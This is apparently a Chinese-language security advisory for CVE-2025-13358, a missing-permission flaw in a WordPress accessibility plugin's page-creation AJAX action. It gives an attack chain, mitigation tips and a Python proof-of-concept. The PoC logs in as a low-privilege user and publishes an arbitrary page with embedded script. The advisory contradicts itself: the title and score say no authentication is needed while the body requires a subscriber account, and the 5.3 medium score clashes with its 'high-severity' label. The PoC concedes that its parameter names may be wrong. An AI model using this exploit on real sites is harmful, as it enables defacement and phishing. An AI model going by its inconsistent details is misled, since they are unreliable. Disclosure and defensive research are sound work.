CVE-2025-13358 WordPress CodeConfig Accessibility插件未授权页面创建漏洞

漏洞信息

漏洞编号

CVE-2025-13358

漏洞类型

权限控制缺失

CVSS评分

5.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Accessiy By CodeConfig Accessibility plugin for WordPress

漏洞概述

CVE-2025-13358是WordPress平台Accessiy By CodeConfig Accessibility插件中的一个高危安全漏洞。该漏洞存在于插件的1.0.0版本及之前所有版本中，由于Settings::createPage()函数缺少适当的权限验证机制，导致任何已认证用户（即使只拥有最低的订阅者权限）都能通过特定的AJAX动作在网站上创建任意已发布的页面内容。攻击者可以利用此漏洞在目标网站上植入恶意页面内容，进行钓鱼攻击、SEO垃圾链接注入或传播恶意软件。由于该漏洞利用无需特殊权限且攻击复杂度低，对使用该插件的所有WordPress网站都构成严重安全威胁。建议受影响的用户立即更新到插件最新版本或采取临时缓解措施。

技术细节

该漏洞的根本原因在于Accessiy By CodeConfig Accessibility插件的AJAX处理逻辑中存在严重的访问控制缺陷。具体问题出在includes/Ajax/Settings.php文件的createPage()函数中（第96行），该函数直接处理页面创建逻辑但未调用current_user_can()或类似函数进行权限验证。插件的AJAX端点（通过includes/Ajax.php第24行注册）使用wp_ajax_ccpcaCreatePage动作钩子注册，但仅使用了nopriv=false参数允许已登录用户访问，却没有进行任何角色或权限检查。这意味着任何具有WordPress账户的用户（从订阅者Subscriber到管理员Administrator）都可以构造恶意请求调用此端点。攻击者只需构造包含page title和page content参数的POST请求即可在目标站点上创建任意已发布状态的页面，整个过程无需管理员权限且无任何交互要求。

攻击链分析

STEP 1

步骤1

攻击者获取目标WordPress网站的有效用户账户（订阅者级别或更高权限）

STEP 2

步骤2

攻击者构造包含action=ccpcaCreatePage参数的AJAX POST请求

STEP 3

步骤3

请求中包含page_title和page_content参数，指定要创建的恶意页面内容

STEP 4

步骤4

由于插件Settings::createPage()函数缺少权限检查，恶意请求被直接执行

STEP 5

步骤5

WordPress创建新的已发布页面，攻击者可在网站上植入钓鱼内容、恶意脚本或垃圾链接

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import sys

# CVE-2025-13358 PoC - Unauthorized Page Creation via ccpcaCreatePage AJAX action
# Affected: Accessiy By CodeConfig Accessibility plugin <= 1.0.0

target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com'

# WordPress AJAX endpoint
ajax_url = f'{target_url}/wp-admin/admin-ajax.php'

# Authentication credentials (any valid user account with Subscriber role or higher)
credentials = {
    'log': 'attacker_username',
    'pwd': 'attacker_password'
}

# Create session and authenticate
session = requests.Session()
login_url = f'{target_url}/wp-login.php'
resp = session.post(login_url, data=credentials)

if 'wordpress_logged_in' not in session.cookies.get_dict():
    print('[-] Authentication failed')
    exit(1)

print('[+] Authentication successful')

# Exploit payload - create arbitrary page
# Action: ccpcaCreatePage
# Required parameters: page_title, page_content (plugin specific parameter names may vary)
exploit_data = {
    'action': 'ccpcaCreatePage',
    'page_title': 'Malicious Page Created by Attacker',
    'page_content': '<h1>Compromised Page</h1><script>malicious_code_here</script>',
    'page_status': 'publish'  # Published immediately without authorization
}

response = session.post(ajax_url, data=exploit_data)

if response.status_code == 200:
    print('[+] Exploit sent successfully')
    print(f'[+] Response: {response.text}')
    print('[!] Check WordPress pages for newly created malicious content')
else:
    print(f'[-] Exploit failed with status code: {response.status_code}')

影响范围

Accessiy By CodeConfig Accessibility plugin <= 1.0.0

防御指南

临时缓解措施

如果无法立即更新插件，可在wp-config.php中添加代码临时禁用ccpcaCreatePage AJAX动作，或使用WordPress安全插件限制订阅者角色的AJAX权限。同时监控网站页面列表，及时删除可疑的未授权页面。